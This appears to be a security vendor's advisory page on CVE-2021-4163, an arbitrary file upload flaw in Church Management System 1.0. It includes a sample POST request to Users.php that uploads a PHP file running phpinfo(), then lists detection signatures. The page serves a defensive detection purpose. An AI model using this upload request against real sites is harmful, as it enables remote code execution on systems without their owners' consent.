top of page

Church Management System 1.0 Command Execution (CVE-2021-4163)


Application Details

Church Management System is a web based application which manages the website of a certain church. It is a Content Management System specifically for churches.


Vulnerability

Church Management System could allow a remote attacker to upload arbitrary files, caused by the improper validation of file extensions by the Users.php script.


Identification

A remote attacker could exploit this vulnerability to upload a malicious PHP script, which could allow the attacker to execute arbitrary PHP code on the vulnerable system.

POST /church_management/classes/Users.php?f=save HTTP/1.1

-----------------------------91105564325608762312322546550
Content-Disposition: form-data; name="img"; filename="phpinfo.php"
Content-Type: application/octet-stream

<?php echo phpinfo(); ?>
-----------------------------91105564325608762312322546550--

Detection

By turning this into a traffic file and matching rule, we are able to detect command execution attempts to the application.


Coverage

Idappcom has created signatures 8022012 and 8021716 along with a traffic file.


References


Traffic IQ

If you are concerned that your business may be at risk of this vulnerability or others why not try out our Traffic IQ software which can scan your defences and report any issues. Learn more here: https://www.idappcom.co.uk/traffic-iq-professional

留言


bottom of page